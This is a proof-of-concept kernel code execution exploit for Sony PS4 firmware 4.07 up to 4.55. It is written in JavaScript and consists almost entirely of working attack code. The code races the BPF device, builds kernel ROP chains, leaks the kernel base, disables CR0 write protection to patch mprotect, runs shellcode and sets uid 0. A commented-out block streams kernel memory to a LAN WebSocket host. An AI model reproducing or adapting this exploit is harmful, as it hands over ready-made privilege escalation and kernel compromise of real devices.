Sony Playstation 4 (PS4) versions 4.07 up to but not including 4.55 bpf local kernel code execution proof of concept exploit.
0a80756cef32e8dfd86910fdf5196720b1d7040a5d57e9fdaa25c56b05e7426b
function stage4_()
{
function malloc(sz)
{
var backing = new Uint8Array(1000+sz);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz)
{
var backing = new Uint8Array(0x1000+sz*4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
var strcpy_helper = new Uint8Array(0x1000);
var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
function strcpy(ptr, str)
{
p.write8(where_writeptr_strcpy, ptr);
for (var i = 0; i < str.length; i++)
strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
strcpy_helper[str.length] = 0;
}
var sysctlbyname = window.libKernelBase.add32(0xF290);
var sysreq = malloc32(0x10);
sysreq.backing[0] = 7;
sysreq.backing[1] = 0;
sysreq.backing[4] = 0x10;
var retv = malloc(0x100);
var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
var str = "";
for (var i=0; i<0x10; i++)
{
str += zeroFill(retv.backing[i].toString(16),2) + " ";
}
// log("psid: " + str)
var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
if (fd == (-1 >>> 0))
{
print("kexp failed: no bpf0");
}
// print("fd: " + fd);
var scratch = malloc(0x100);
var ifname = malloc(0x10);
strcpy(ifname, "wlan0");
p.syscall("ioctl", fd, 0x8020426c, ifname);
var ret = p.syscall("write", fd, scratch, 40);
if (ret.low == (-1 >>> 0))
{
strcpy(ifname, "eth0");
p.syscall("ioctl", fd, 0x8020426c, ifname);
var ret = p.syscall("write", fd, scratch, 40);
if (ret.low == (-1 >>> 0))
{
throw "kexp failed :(";
}
}
var assertcnt = 0;
var assert = function(x)
{
assertcnt++;
if (!x) throw "assertion " + assertcnt + " failed";
}
print("got it");
var bpf_valid = malloc32(0x4000);
var bpf_valid_u32 = bpf_valid.backing;
var bpf_valid_prog = malloc(0x40);
p.write8(bpf_valid_prog, 64)
p.write8(bpf_valid_prog.add32(8), bpf_valid)
for (var i = 0 ; i < 0x4000; )
{
bpf_valid_u32[i++] = 6; // BPF_RET
bpf_valid_u32[i++] = 0;
}
var bpf_invalid = malloc32(0x4000);
var bpf_invalid_u32 = bpf_invalid.backing;
var bpf_invalid_prog = malloc(0x40);
p.write8(bpf_invalid_prog, 64)
p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
for (var i = 0 ; i < 0x4000; )
{
bpf_invalid_u32[i++] = 4; // NOP
bpf_invalid_u32[i++] = 0;
}
var push_bpf = function(bpfbuf, cmd, k)
{
var i = bpfbuf.i;
if (!i) i=0;
bpfbuf[i*2] = cmd;
bpfbuf[i*2+1] = k;
bpfbuf.i = i+1;
}
push_bpf(bpf_invalid_u32, 5, 2); // jump
push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
bpf_invalid_u32.i = 16;
var bpf_write8imm = function(bpf, offset, imm)
{
if (!(imm instanceof int64))
{
imm = new int64(imm,0);
}
push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
push_bpf(bpf, 2, offset); // BPF_ST
push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
}
var bpf_copy8 = function(bpf, offset_to, offset_from)
{
push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
push_bpf(bpf, 2, offset_to); // BPF_ST
push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
push_bpf(bpf, 2, offset_to+1); // BPF_ST
}
var bpf_add4 = function(bpf, offset, val)
{
push_bpf(bpf, 0x60, offset); // BPF_LD
push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
push_bpf(bpf, 2, offset); // BPF_ST
}
var krop_off_init = 0x1e;
var krop_off = krop_off_init;
var reset_krop = function() {
krop_off = krop_off_init;
bpf_invalid_u32.i = 16;
}
var push_krop = function(value)
{
bpf_write8imm(bpf_invalid_u32, krop_off, value);
krop_off += 2;
}
var push_krop_fromoff = function(value)
{
bpf_copy8(bpf_invalid_u32, krop_off, value);
krop_off += 2;
}
var finalize_krop = function(retv)
{
if(!retv) retv = 5;
push_bpf(bpf_invalid_u32, 6, retv); // return 5
}
var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
assert(rtv.low == 0);
rtv = p.syscall("write", fd, scratch, 40);
assert(rtv.low == (-1 >>> 0));
var kscratch = malloc32(0x80);
var kchain = new window.RopChain();
kchain.clear();
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.webKitBase.add32(0x3EBD0));
reset_krop();
//push_krop(window.gadgets["infloop"]); // 8
bpf_copy8(bpf_invalid_u32, 0, 0x1e);
push_krop(window.gadgets["pop rsi"]); // 0x10
push_krop_fromoff(0);
push_krop(window.gadgets["pop rsp"]);
push_krop(kchain.ropframeptr); // 8
finalize_krop(0);
var spawnthread = function(chain) {
/*
seg000:00000000007FA7D0 sub_7FA7D0 proc near ; DATA XREF: sub_7F8330+5Eo
seg000:00000000007FA7D0 55 push rbp
seg000:00000000007FA7D1 48 89 E5 mov rbp, rsp
seg000:00000000007FA7D4 41 56 push r14
seg000:00000000007FA7D6 53 push rbx
seg000:00000000007FA7D7 48 89 F3 mov rbx, rsi
seg000:00000000007FA7DA 49 89 FE mov r14, rdi
seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00 lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
-> xref of sub_7FA7D0:
seg000:00000000007F8380 48 8D 3D 28 D8 EC 00 lea rdi, a1_5_18_0 ; "1.5.18"
seg000:00000000007F8387 48 8D 15 82 23 00 00 lea rdx, sub_7FA710
seg000:00000000007F838E 48 8D 0D 3B 24 00 00 lea rcx, sub_7FA7D0
seg000:00000000007F8395 31 F6 xor esi, esi
seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0
seg000:00000000007F839F 66 41 C7 47 18 00 00 mov word ptr [r15+18h], 0
seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0
seg000:00000000007F83AE E8 8D 3C D3 00 call sub_152C040
-> code:
m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
decodingFailed -> contains longjmp (which we want)
seg000:00000000007FA710 sub_7FA710 proc near ; DATA XREF: sub_7F8330+57o
seg000:00000000007FA710 ; sub_7F9DC0+2Eo
seg000:00000000007FA710 55 push rbp
seg000:00000000007FA711 48 89 E5 mov rbp, rsp
seg000:00000000007FA714 48 8B 35 5D B6 E5 02 mov rsi, cs:qword_3655D78
seg000:00000000007FA71B BA 60 00 00 00 mov edx, 60h ; '`'
seg000:00000000007FA720 E8 AB E6 D2 00 call sub_1528DD0
seg000:00000000007FA725 BE 01 00 00 00 mov esi, 1
seg000:00000000007FA72A 48 89 C7 mov rdi, rax
seg000:00000000007FA72D E8 26 6D 80 FF call sub_1458 < longjmp
seg000:00000000007FA732 0F 0B ud2
seg000:00000000007FA732 sub_7FA710 endp
*/
var longjmp = webKitBase.add32(0x1458);
// ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
/*
seg000:00000000001DD17F 48 8D 15 C9 38 4C 01 lea rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
seg000:00000000001DD186 31 F6 xor esi, esi
seg000:00000000001DD188 E8 B3 1B F9 00 call sub_116ED40 < createThread
*/
var createThread = window.webKitBase.add32(0x116ED40);
var contextp = malloc32(0x2000);
var contextz = contextp.backing;
contextz[0] = 1337;
var thread2 = new RopChain();
thread2.clear();
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
chain(thread2);
p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
window.nogc.push(contextz);
window.nogc.push(thread2);
return thread2;
}
var interrupt1 = 0;
var interrupt2 = 0;
// ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
spawnthread(function(thread2){
interrupt1 = thread2.ropframeptr;
thread2.push(window.gadgets["pop rdi"]); // pop rdi
thread2.push(fd); // what
thread2.push(window.gadgets["pop rsi"]); // pop rsi
thread2.push(0x8010427B); // what
thread2.push(window.gadgets["pop rdx"]); // pop rdx
thread2.push(bpf_valid_prog); // what
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr.add32(0x800)); // what
thread2.count = 0x100;
var cntr = thread2.count;
thread2.push(window.syscalls[54]); // ioctl
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr); // what
})
// ioctl() with invalid BPF program -> this will be executed when triggering bug
spawnthread(function(thread2){
interrupt2 = thread2.ropframeptr;
thread2.push(window.gadgets["pop rdi"]); // pop rdi
thread2.push(fd1); // what
thread2.push(window.gadgets["pop rsi"]); // pop rsi
thread2.push(0x8010427B); // what
thread2.push(window.gadgets["pop rdx"]); // pop rdx
thread2.push(bpf_invalid_prog); // what
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr.add32(0x800)); // what
thread2.count = 0x100;
var cntr = thread2.count;
thread2.push(window.syscalls[54]); // ioctl
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr); // what
})
function kernel_rop_run(cb)
{
kchain.clear();
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
cb(kchain);
kchain.push(window.gadgets["pop rax"]);
kchain.push(0);
kchain.push(window.gadgets["ret"]);
kchain.push(window.webKitBase.add32(0x3EBD0));
while(1)
{
if (p.syscall(4, fd, scratch, 40).low == 40)
{
return p.read8(kscratch);
break;
}
}
}
function leak_kern_rip() {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rsi"]);
});
}
function kernel_read8(addr) {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(addr);
kchain.push(window.webKitBase.add32(0x13A220)); // deref
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
function kernel_memcpy(to,from,size) {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(to);
kchain.push(window.gadgets["pop rsi"]);
kchain.push(from);
kchain.push(window.gadgets["pop rdx"]);
kchain.push(size);
kchain.push(window.gadgets["memcpy"]);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
var kern_base = leak_kern_rip();
kern_base.low &= 0xffffc000;
kern_base.low -= 0x164000;
log("ay! " + kernel_read8(kern_base) + " " + kern_base);
/*
var chunksz = 0x40000;
var pagebuf = malloc(chunksz);
connection = new WebSocket('ws://192.168.0.125:8080');
connection.binaryType = "arraybuffer";
connection.onmessage = function() {
try {
kernel_memcpy(pagebuf, kern_base, chunksz);
connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
kern_base.add32inplace(chunksz);
}catch(e) {log(e);}
}
LOAD:FFFFFFFF9144CF70 0F 20 C0 mov rax, cr0
LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00 or rax, 5002Ah
LOAD:FFFFFFFF9144CF79 0F 22 C0 mov cr0, rax
LOAD:FFFFFFFF9144CF7C C3 retn
FFFFFFFF91562A58
*/
var getset_cr0 = kern_base.add32(0x280f70);
var set_cr0 = kern_base.add32(0x280f79);
function kernel_get_cr0() {
return kernel_rop_run(function(kchain)
{
kchain.push(getset_cr0);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
var cr0val = kernel_get_cr0();
cr0val.low &= ((~(1 << 16)) >>> 0);
log("cr0: " + cr0val);
function kernel_write8_cr0(addr, val) {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rax"]);
kchain.push(cr0val);
kchain.push(set_cr0);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(addr);
kchain.push(window.gadgets["pop rax"]);
kchain.push(val);
kchain.push(window.gadgets["mov [rdi], rax"]);
kchain.push(getset_cr0);
});
}
function kernel_fcall(addr, arg0, arg1) {
return kernel_rop_run(function(kchain)
{
if(arg0)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(arg0);
}
if(arg1)
{
kchain.push(window.gadgets["pop rsi"]);
kchain.push(arg1);
}
kchain.push(addr);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
var mprotect_patchloc = kern_base.add32(0x396a58);
var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
var mprotect_realbytes = mprotect_patchbytes;
log("patchbytes: " + mprotect_patchbytes);
mprotect_patchbytes.low = 0x90909090;
mprotect_patchbytes.hi &= 0xffff0000;
mprotect_patchbytes.hi |= 0x00009090;
var shellsize = window.shellcode.byteLength;
shellsize += 0x4000;
shellsize &= 0xffffc000;
var shellscratch_to = malloc32((0x10000 + shellsize)/4);
var origin_to = shellscratch_to.low;
shellscratch_to.low &= 0xffffc000;
shellscratch_to.low += 0x8000;
var offset = (shellscratch_to.low - origin_to) / 4;
for (var i=0; i < window.shellcode.length; i++)
{
shellscratch_to.backing[i+offset] = window.shellcode[i];
}
kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
if (mapz.low != 0) throw "mprot fail!";
faultme = shellscratch_to.add32(0x0);
for (var i=0; i < window.shellcode.length; i+= 0x1000)
{
var bck = p.read8(faultme);
p.write8(faultme, 0xc3)
p.fcall(faultme); // test faulting
p.write8(faultme, bck)
}
p.syscall("mlock", shellscratch_to, shellsize);
var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));
var zarguments = malloc32(0x1000);
p.write8(zarguments, kern_base);
p.write8(zarguments.add32(8), fd_kcall);
p.write8(zarguments.add32(16), interrupt1);
p.write8(zarguments.add32(24), interrupt2);
p.write8(zarguments.add32(32), window.syscalls[431]);
p.write8(zarguments.add32(40), window.syscalls[591]);
p.write8(zarguments.add32(48), window.syscalls[594]);
p.write8(zarguments.add32(56), pyld_buf); // pyld
p.write8(zarguments.add32(64), window.pyldpoint);
p.write8(zarguments.add32(72), window.pyld.byteLength);
var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
log(p.read8(shellscratch_to.add32(window.entrypoint)));
log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
p.syscall("setuid", 0);
log("uid: " + p.syscall("getuid"));
alert("enter user");
log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));
var lsscrtch32 = new Uint32Array(0x400);
var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
window.ls = function(path)
{
var sep = "/"
if (path[path.length-1]=="/") sep = "";
var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
if (fd == (-1 >>> 0))
{
print("open("+path+"): -1");
return;
}
alert("getdenv");
print("Directory listing for " +path+":");
var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
if (total == (-1 >>> 0))
{
print("getdents("+path+"): -1");
return;
}
alert("got denv");
var offset = 0;
while (offset < total)
{
var cur = lsscrtch.add32(offset);
var reclen = p.read4(cur.add32(4)) & 0xFFFF;
var filepath = path + sep + p.readstr(cur.add32(8));
print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
offset += reclen;
if(!reclen) break;
}
p.syscall("close", fd);
}
print("<a href=javascript:window.ls('/');>ls /</a>");
}